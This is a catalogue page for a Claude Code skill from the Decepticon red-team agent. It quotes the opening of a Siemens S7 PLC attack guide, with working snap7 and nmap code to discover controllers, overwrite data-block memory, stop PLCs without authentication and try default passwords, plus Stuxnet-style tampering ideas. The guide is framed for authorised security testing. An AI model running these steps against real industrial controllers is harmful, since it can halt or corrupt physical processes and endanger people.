ics-s7comm

ics-s7comm is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 91 tokens per session (1,304 once invoked), scanned A, original, Apache-2.0.

A security testing guide for Siemens S7 PLCs, programmable controllers used in industrial machinery and processes. It covers discovering PLC details, reading and writing memory areas, and checking start, stop, and restart controls.

In plain words
What is it for?
Use it to identify Siemens PLC models and firmware, inspect data blocks and inputs or outputs, test memory access, and assess PLC stop, start, and password-protection controls.
Why use it?
It helps expose unauthenticated access that could reveal process data or alter controller memory and execution, potentially interrupting physical operations.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to identify Siemens PLC models and firmware, inspect data blocks and inputs or outputs, test memory access, and assess PLC stop, start, and password-protection controls.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/s7comm
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill s7comm
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ics-s7comm

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/s7comm/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/s7comm)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/s7comm"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/s7comm/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ics-s7comm

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/s7comm"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/s7comm.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 91 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,304 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 19
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00091 $0.01304
Opus 5 $0.00046 $0.00652
Sonnet 5 $0.00018 $0.00261
Haiku 4.5 $0.00009 $0.00130

Measured 7d ago against content hash 900dfb4379e6, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

ics-s7comm scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • s7comm — 94% identical, 2 lines differ
packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md · 120 lines

How it starts

The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Siemens S7 PLC Attack

S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.

Discover

nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name

# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)        # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'

Read / Write data blocks

S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).

import snap7
from snap7 import util

c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)

# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):",   util.get_int(data, 2))
print("DB10.DBD4 (real):",  util.get_real(data, 4))

# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)

Stop / Start the PLC

c.plc_stop()          # ⚠ halts execution of the user program — process stops
c.plc_hot_start()     # Resume
c.plc_cold_start()    # Restart with full init
# Each is unauthenticated on S7-300/400 by default.

Authentication / "Protection Level" differences

PLC family Default protection Bypass class
S7-300/400 Often none ("No Protection") Direct
S7-1200 (FW < V4) None or password (cleartext on wire) Sniff password
S7-1200 (FW V4+) Password + challenge-response Replay session, weak hash
S7-1500 Password + challenge CVE-2019-10936 (info leak), then offline crack
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name

Stuxnet-class primitives (S7-300/400 still in many old fleets)

  • Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
  • OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
  • PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.

Read the full file on GitHub · 120 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 120 lines · 91 tokens per session scan A 900dfb4379e6

Subscribe to this mod's changes

ics-s7comm is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 91 tokens to every session and 1,304 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.